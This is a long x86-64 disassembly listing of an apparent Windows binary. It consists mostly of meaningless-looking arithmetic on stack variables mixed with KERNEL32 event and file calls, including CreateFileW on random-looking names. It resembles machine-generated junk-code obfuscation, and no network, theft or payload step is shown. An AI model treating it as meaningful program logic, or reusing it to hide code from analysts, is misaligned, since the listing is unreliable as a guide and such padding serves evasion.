mov rcx, qword [rsp + 0x530]
mov byte [rcx], al
mov rax, qword [rsp + 0x528]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x190]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x1400fd1b8]
mov word [rcx], ax
lea rax, [rsp + 0x1d4]
mov qword [rsp + 0x1280], rax
mov rax, qword [rsp + 0xb60]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x26c]
xor eax, ecx
mov word [rsp + 0x178], ax
movzx eax, word [rsp + 0x308]
mov rcx, qword [rsp + 0xfc8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x5d8], ax
mov rcx, qword [rsp + 0x1b38]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [rsp + 0x684]
mov ecx, dword [rsp + 0x1990]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xc4], eax
mov rax, qword [rsp + 0x530]
movzx eax, byte [rax]
mov byte [rsp + 0x235], al
mov rax, qword [rsp + 0x14b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x470]
add rax, qword [rcx]
mov qword [rsp + 0x1708], rax
movsx eax, word [rsp + 0x1d0]
mov rcx, qword [0x1400fd1b8]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xa78]
mov word [rcx], ax
mov rax, qword [rsp + 0x650]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x144]
sub eax, ecx
mov word [rsp + 0x388], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xa13a
mov rcx, qword [rsp + 0x1cb8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1ab0], eax
mov rax, qword [rsp + 0xa30]
mov rcx, qword [0x1400fd188]
mov rax, qword [rax]
and rax, rcx
mov qword [0x1400fc408], rax
mov rax, qword [rsp + 0x16c0]
mov rcx, qword [rsp + 0x2650]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x780]
mov qword [rcx], rax
mov rax, qword [rsp + 0x1188]
mov qword [rsp + 0x18f0], rax
mov rax, qword [rsp + 0x618]
mov rax, qword [rax]
add rax, qword [rsp + 0x1088]
mov rcx, qword [rsp + 0x1138]
mov qword [rcx], rax
mov rax, qword [rsp + 0x650]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x220]
and eax, ecx
mov word [rsp + 0xe0], ax
lea rax, [rsp + 0x9f0]
mov qword [rsp + 0x1c28], rax
mov rax, qword [rsp + 0x358]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xf48]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x800]
mov byte [rcx], al
mov rax, qword [rsp + 0x3130]
mov qword [rsp + 0x18c8], rax
movsx eax, byte [rsp + 0xf7]
mov rcx, qword [rsp + 0x1410]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x10b], al
mov rax, qword [rsp + 0xd58]
mov eax, dword [rax]
mov dword [0x1400fd318], eax
movsx eax, word [0x1400fc3c0]
mov rcx, qword [rsp + 0xf50]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x278]
mov word [rcx], ax
mov rax, qword [rsp + 0xd70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x4f8]
shl eax, cl
mov word [rsp + 0x6cc], ax
mov rcx, qword [rsp + 0x1f98]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, word [0x1400fc3f0]
mov rcx, qword [rsp + 0xf80]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x214], ax
mov rax, qword [rsp + 0x16c8]
mov qword [rsp + 0x2838], rax
movsx eax, byte [rsp + 0x81]
movsx ecx, byte [rsp + 0x5a]
sub eax, ecx
mov byte [rsp + 0x80], al
mov eax, dword [rsp + 0x634]
movzx ecx, al
mov eax, dword [0x1400fd1d8]
shr eax, cl
mov dword [rsp + 0xc4], eax
lea rax, [rsp + 0x22c8]
mov qword [rsp + 0x1500], rax
movsx eax, word [rsp + 0x174]
mov rcx, qword [rsp + 0x2f8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x240], ax
mov rax, qword [0x1400fd2d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb30]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1400fc410], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xac63
mov rcx, qword [rsp + 0x16e0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x488], eax
mov rax, qword [rsp + 0x7f8]
mov rcx, qword [rsp + 0x1bf8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x1528], rax
mov rax, qword [rsp + 0x658]
movzx eax, word [rax]
mov rcx, qword [0x1400fd288]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa50]
mov word [rcx], ax
mov rax, qword [rsp + 0x1058]
mov eax, dword [rax]
mov dword [rsp + 0x2148], eax
mov rax, qword [rsp + 0xf48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x10a]
add eax, ecx
mov byte [rsp + 0xe7], al
mov rcx, qword [rsp + 0x23c0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1104], eax
mov rax, qword [rsp + 0x22c8]
movzx ecx, al
mov rax, qword [rsp + 0x1c20]
shr rax, cl
mov rcx, qword [rsp + 0x1818]
mov qword [rcx], rax
lea rax, [rsp + 0x10b]
mov qword [rsp + 0x16d8], rax
mov eax, dword [rsp + 0x330]
mov rcx, qword [rsp + 0x988]
mov qword [rsp + 0x4640], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4640]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x11f0]
mov dword [rcx], eax
mov rax, qword [0x1400fd158]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1240]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x4cc], ax
movzx eax, word [rsp + 0x308]
mov rcx, qword [rsp + 0xdb0]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [0x1400fd1f8]
mov word [rcx], ax
mov rax, qword [0x1400fc3a0]
mov rcx, qword [rsp + 0xc58]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x2428], rax
mov rax, qword [rsp + 0xa30]
mov rcx, qword [rsp + 0x978]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9c0], rax
movzx eax, word [rsp + 0x494]
mov word [rsp + 0x4c8], ax
mov rax, qword [rsp + 0x648]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa98]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb30]
mov word [rcx], ax
mov rax, qword [rsp + 0x1c40]
mov eax, dword [rax]
mov dword [rsp + 0x9f8], eax
mov rax, qword [rsp + 0x1430]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x968]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x154], al
mov r9d, 2
xor r8d, r8d
mov edx, 0xa0c7
mov rcx, qword [rsp + 0x31a0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x638], eax
mov rax, qword [rsp + 0x628]
mov rax, qword [rax]
add rax, qword [rsp + 0x1260]
mov qword [rsp + 0x818], rax
mov rax, qword [rsp + 0x16e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc78]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x10b8], rax
mov rcx, qword [rsp + 0x1b90]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x13d0], eax
movsx eax, word [rsp + 0xc0]
mov rcx, qword [0x1400fd228]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1400fc3b0], ax
movzx eax, word [rsp + 0x388]
movzx ecx, word [rsp + 0xec]
and eax, ecx
mov word [rsp + 0x210], ax
lea rax, [rsp + 0x131]
mov qword [rsp + 0x1468], rax
mov rax, qword [rsp + 0xdc0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xe10]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9c8]
mov dword [rcx], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.a78X29yFiOzIEI42_frToeAhZEVK1crECo
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x3680], rax
mov rax, qword [rsp + 0x17e8]
mov rcx, qword [rsp + 0x2008]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd00], rax
mov rax, qword [rsp + 0x3d8]
mov rax, qword [rax]
mov qword [rsp + 0x2940], rax
mov eax, dword [0x1400fd1d8]
movzx ecx, al
mov eax, dword [rsp + 0xbb4]
shl eax, cl
mov rcx, qword [rsp + 0xd80]
mov dword [rcx], eax
lea rax, [rsp + 0x11a]
mov qword [rsp + 0x1938], rax
mov rax, qword [rsp + 0xda0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd70]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x110], ax
movzx eax, word [rsp + 0x420]
mov word [0x1400fd31c], ax
mov rax, qword [rsp + 0xca0]
mov rcx, qword [rsp + 0xb80]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x1140], rax
movzx eax, word [rsp + 0x42c]
movzx ecx, word [rsp + 0x214]
sar eax, cl
mov word [rsp + 0x724], ax
mov rax, qword [0x1400fd228]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x740]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf0], ax
mov rax, qword [rsp + 0x1b18]
mov qword [rsp + 0x1928], rax
mov rax, qword [rsp + 0x22c8]
mov rcx, qword [rsp + 0xa80]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x1c20], rax
mov rax, qword [rsp + 0x508]
movzx eax, byte [rax]
mov byte [rsp + 0x1bb], al
mov rax, qword [rsp + 0x750]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7a4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb9c], eax
movzx eax, word [rsp + 0x70]
movzx ecx, word [rsp + 0x220]
and eax, ecx
mov rcx, qword [rsp + 0xd68]
mov word [rcx], ax
mov rax, qword [rsp + 0xd48]
mov rax, qword [rax]
mov qword [0x1400fd320], rax
lea rax, [rsp + 0x15a]
mov qword [rsp + 0x1428], rax
mov rax, qword [rsp + 0x948]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1674]
sar eax, cl
mov dword [rsp + 0x8d0], eax
lea rax, [rsp + 0x23c]
mov qword [rsp + 0x1420], rax
movzx eax, word [0x1400fd31c]
mov rcx, qword [rsp + 0xa8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x160], ax
mov rax, qword [rsp + 0x1430]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x9c]
sub eax, ecx
mov rcx, qword [rsp + 0x1950]
mov byte [rcx], al
lea rax, [rsp + 0x22a0]
mov qword [rsp + 0x1908], rax
mov rax, qword [rsp + 0xd58]
mov ecx, dword [rsp + 0x670]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x960]
mov dword [rcx], eax
movsx eax, word [rsp + 0x110]
mov rcx, qword [rsp + 0xa78]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x3b4], ax
movzx eax, word [0x1400fc3d0]
movzx ecx, word [rsp + 0x5c]
xor eax, ecx
mov word [0x1400fc3b4], ax
mov rax, qword [rsp + 0x1790]
mov rcx, qword [rsp + 0x1e8]
mov qword [rsp + 0x4648], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4648]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x12f0], rax
mov rax, qword [rsp + 0xcb0]
mov rax, qword [rax]
mov qword [rsp + 0x2538], rax
mov rax, qword [rsp + 0x12b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x980]
mov qword [rsp + 0x4650], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4650]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xd30], rax
movsx eax, word [rsp + 0x1d8]
mov rcx, qword [rsp + 0xa58]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x740]
mov word [rcx], ax
mov rcx, qword [rsp + 0x16b0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xbb0], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0xfca5
mov rcx, qword [rsp + 0xa20]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1678], eax
mov rax, qword [rsp + 0x750]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xca8]
add eax, dword [rcx]
mov dword [rsp + 0x8f8], eax
mov rax, qword [rsp + 0x16d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x1840]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x298]
mov byte [rcx], al
lea rax, [rsp + 0x1260]
mov qword [rsp + 0x12e0], rax
mov rax, qword [rsp + 0x1428]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x118]
cdq
idiv ecx
mov byte [rsp + 0x10a], al
mov rax, qword [rsp + 0x340]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xe38]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1a74], eax
mov rax, qword [rsp + 0x180]
movsx eax, word [rax]
movsx ecx, word [0x1400fd210]
add eax, ecx
mov word [0x1400fc3b0], ax
lea rax, [rsp + 0x12c]
mov qword [rsp + 0xf70], rax
mov rax, qword [rsp + 0xa60]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7d0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x5c], ax
mov rcx, qword [rsp + 0x16d0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0x12a8]
mov qword [rsp + 0x1350], rax
mov rax, qword [0x1400fd2c8]
mov ecx, dword [rsp + 0x684]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8e8], eax
mov rax, qword [rsp + 0x1200]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x508]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x119], al
lea rax, [rsp + 0x338]
mov qword [rsp + 0x22c0], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x1b6e
mov rcx, qword [rsp + 0x1d18]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x680], eax
movsx eax, word [rsp + 0x264]
movsx ecx, word [rsp + 0x168]
shl eax, cl
mov word [rsp + 0x1d0], ax
lea rax, [rsp + 0x160]
mov qword [rsp + 0x11f8], rax
mov rax, qword [rsp + 0x1218]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1928]
xor rcx, rax
mov rax, rcx
mov qword [0x1400fc418], rax
mov rax, qword [0x1400fd2d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb30]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x1318]
mov word [rcx], ax
mov rcx, qword [rsp + 0xf28]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xa30]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb50]
mov qword [rsp + 0x4658], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4658]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0xcb0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9b0]
mov rax, qword [rax]
mov qword [rsp + 0x2e88], rax
mov rax, qword [rsp + 0xd28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8f8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x960]
mov dword [rcx], eax
lea rax, [rsp + 0x1960]
mov qword [rsp + 0x1870], rax
movzx eax, byte [rsp + 0x10d]
movzx ecx, byte [rsp + 0x109]
sub eax, ecx
mov rcx, qword [rsp + 0x830]
mov byte [rcx], al
mov rax, qword [rsp + 0x9c8]
mov eax, dword [rax]
mov dword [rsp + 0xcdc], eax
mov rax, qword [rsp + 0x968]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x100]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x508]
mov byte [rcx], al
mov rax, qword [rsp + 0x740]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x4cc]
add eax, ecx
mov word [0x1400fc3c0], ax
movsx eax, word [rsp + 0x1d8]
movsx ecx, word [rsp + 0x4f8]
and eax, ecx
mov word [rsp + 0x464], ax
mov rax, qword [rsp + 0x1530]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5ac]
sar eax, cl
mov word [rsp + 0x440], ax
movzx eax, word [0x1400fd144]
mov rcx, qword [rsp + 0x9e0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x24c], ax
lea rax, [rsp + 0x1448]
mov qword [rsp + 0x1220], rax
mov eax, dword [rsp + 0xbb4]
mov ecx, dword [rsp + 0x7a4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a4], eax
mov rax, qword [rsp + 0x298]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11a]
and eax, ecx
mov byte [rsp + 0x16f], al
lea rax, [rsp + 0xab0]
mov qword [rsp + 0x2090], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.SPkMEr
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x28c8], rax
movzx eax, word [rsp + 0x37c]
mov rcx, qword [0x1400fd288]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x70], ax
mov rax, qword [rsp + 0x748]
mov rax, qword [rax]
mov qword [0x1400fd328], rax
mov rax, qword [rsp + 0xd48]
mov rax, qword [rax]
mov qword [rsp + 0x18d0], rax
mov rax, qword [rsp + 0x620]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1f8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xd00], rax
mov rcx, qword [rsp + 0xc60]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9d8], eax
mov rax, qword [rsp + 0xb68]
mov rcx, qword [0x1400fd128]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x1750], rax
lea rax, [rsp + 0x128]
mov qword [rsp + 0x14c8], rax
mov rax, qword [rsp + 0xf48]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x668]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x159], al
mov rax, qword [rsp + 0x340]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x970]
mov qword [rsp + 0x4660], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4660]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x210c], eax
mov eax, dword [rsp + 0x7ac]
mov ecx, dword [rsp + 0xa0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8d4], eax
mov rax, qword [rsp + 0x1408]
mov qword [rsp + 0x2330], rax
lea rax, [rsp + 0x68]
mov qword [0x1400fd330], rax
mov rax, qword [rsp + 0x7e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x224]
and eax, ecx
mov rcx, qword [rsp + 0x1280]
mov word [rcx], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0xf047
mov rcx, qword [rsp + 0x28c8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x904], eax
movsx eax, word [rsp + 0x1d0]
mov rcx, qword [rsp + 0x770]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x788]
mov word [rcx], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x2350], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x1e32
mov rcx, qword [rsp + 0x1cf8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x68c], eax
movzx eax, word [rsp + 0x5d8]
mov word [rsp + 0x598], ax
mov rax, qword [rsp + 0x618]
mov rcx, qword [rsp + 0xfb8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x1020], rax
mov rax, qword [rsp + 0x16d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x530]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1c7], al
mov rcx, qword [rsp + 0x1290]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [rsp + 0x694]
mov ecx, dword [rsp + 0x63c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a4], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x570a
mov rcx, qword [rsp + 0x16e0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xcd8], eax
mov rax, qword [rsp + 0x1780]
mov rcx, qword [rsp + 0x3d8]
mov qword [rsp + 0x4668], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4668]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x1500]
mov qword [rcx], rax
mov rax, qword [rsp + 0xfa0]
movzx eax, word [rax]
mov word [rsp + 0x30c], ax
mov rcx, qword [rsp + 0x16d0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x690], eax
mov rax, qword [rsp + 0x7d0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xec]
or eax, ecx
mov rcx, qword [0x1400fd308]
mov word [rcx], ax
mov rax, qword [rsp + 0xb20]
mov rcx, qword [rsp + 0xc90]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x978], rax
mov rax, qword [rsp + 0x648]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1a4]
shl eax, cl
mov word [rsp + 0x8b4], ax
movzx eax, byte [rsp + 0xb0]
mov rcx, qword [rsp + 0x358]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x15b], al
xor r9d, r9d
xor r8d, r8d
mov edx, 0xdb07
mov rcx, qword [rsp + 0x2520]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x2128], eax
mov rax, qword [rsp + 0xa38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x47c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcdc], eax
mov rax, qword [rsp + 0x17b8]
movzx eax, byte [rax]
mov byte [rsp + 0x13b], al
mov rcx, qword [rsp + 0x1210]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x8f0], eax
mov rax, qword [rsp + 0xd80]
mov rcx, qword [rsp + 0xa48]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x208], eax
mov rax, qword [rsp + 0x1908]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x1c58]
shr rax, cl
mov qword [rsp + 0x14f0], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0xc8a4
mov rcx, qword [rsp + 0x1ce8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xcfc], eax
movsx eax, word [rsp + 0x364]
movsx ecx, word [rsp + 0x280]
sub eax, ecx
mov word [rsp + 0xd0], ax
lea rax, [rsp + 0x440]
mov qword [0x1400fd338], rax
mov rax, qword [rsp + 0xd48]
mov rax, qword [rax]
add rax, qword [rsp + 0xd00]
mov rcx, qword [rsp + 0x780]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9b0]
mov rax, qword [rax]
mov qword [rsp + 0x3140], rax
movsx eax, word [rsp + 0x464]
mov rcx, qword [0x1400fd228]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x264], ax
mov rax, qword [rsp + 0xa60]
movzx eax, word [rax]
mov word [rsp + 0x5ec], ax
mov rax, qword [rsp + 0x16d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16f]
sub eax, ecx
mov rcx, qword [rsp + 0x1938]
mov byte [rcx], al
lea rax, [rsp + 0x8e8]
mov qword [rsp + 0x17e0], rax
mov rax, qword [rsp + 0x3c0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x1400fc390]
shr rax, cl
mov rcx, qword [rsp + 0x3d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x10b8]
mov rcx, qword [rsp + 0xb48]
mov qword [rsp + 0x4670], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4670]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xb68], rax
mov rax, qword [rsp + 0xf50]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x3b4]
xor eax, ecx
mov word [0x1400fc420], ax
mov rax, qword [rsp + 0xd68]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc88]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x4b4], ax
movzx eax, byte [rsp + 0xfb]
mov rcx, qword [rsp + 0x1428]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x1468]
mov byte [rcx], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x1ed8], rax
mov rax, qword [rsp + 0xdc0]
mov eax, dword [rax]
mov dword [rsp + 0x11a0], eax
mov rax, qword [rsp + 0x778]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x950]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xff0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x1f58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x68]
add eax, ecx
mov byte [rsp + 0xcc], al
lea rax, [0x1400fc3d8]
mov qword [rsp + 0x1c00], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xd64a
mov rcx, qword [rsp + 0x1cf8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x484], eax
mov eax, dword [rsp + 0x8d4]
mov ecx, dword [rsp + 0x8e0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd80]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x1480]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xadc], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.JbUb12GNRlj_sD6kzMGgRkK
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x2f80], rax
mov rcx, qword [rsp + 0x1210]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, word [rsp + 0x280]
mov rcx, qword [rsp + 0xa78]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x5c8], ax
mov rax, qword [rsp + 0xf80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x148]
and eax, ecx
mov rcx, qword [0x1400fd2a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x16f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb68]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd50]
mov qword [rcx], rax
movzx eax, word [0x1400fc410]
mov rcx, qword [rsp + 0x1258]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x420], ax
movzx eax, word [rsp + 0x224]
mov word [rsp + 0x870], ax
mov rax, qword [rsp + 0x978]
mov rcx, qword [rsp + 0x120]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xdb8], rax
lea rax, [rsp + 0x7ac]
mov qword [rsp + 0x1bc0], rax
mov rax, qword [rsp + 0x538]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x236]
add eax, ecx
mov rcx, qword [rsp + 0x1200]
mov byte [rcx], al
mov rax, qword [rsp + 0x1c60]
movzx ecx, al
mov rax, qword [rsp + 0xfc0]
shl rax, cl
mov rcx, qword [rsp + 0x1220]
mov qword [rcx], rax
mov rax, qword [0x1400fd160]
movzx eax, word [rax]
mov word [rsp + 0x3b8], ax
mov rax, qword [rsp + 0xfb8]
mov rcx, qword [rsp + 0x10b8]
xor rcx, rax
mov rax, rcx
mov qword [0x1400fc3f8], rax
mov rax, qword [rsp + 0x1058]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xacc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x47c], eax
mov rax, qword [rsp + 0x830]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe8]
imul eax, ecx
mov byte [rsp + 0xeb], al
movsx eax, word [rsp + 0x218]
movsx ecx, word [rsp + 0x304]
sar eax, cl
mov rcx, qword [rsp + 0x770]
mov word [rcx], ax
mov rax, qword [0x1400fd270]
movzx eax, word [rax]
mov word [rsp + 0x848], ax
movsx eax, byte [rsp + 0x1c5]
movsx ecx, byte [rsp + 0xe6]
sub eax, ecx
mov byte [rsp + 0x1bb], al
mov rax, qword [rsp + 0x1220]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2898]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x1a8], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x6f2c
mov rcx, qword [rsp + 0x17b0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x9a0], eax
lea rax, [rsp + 0x660]
mov qword [rsp + 0x2878], rax
mov rcx, qword [rsp + 0x1248]
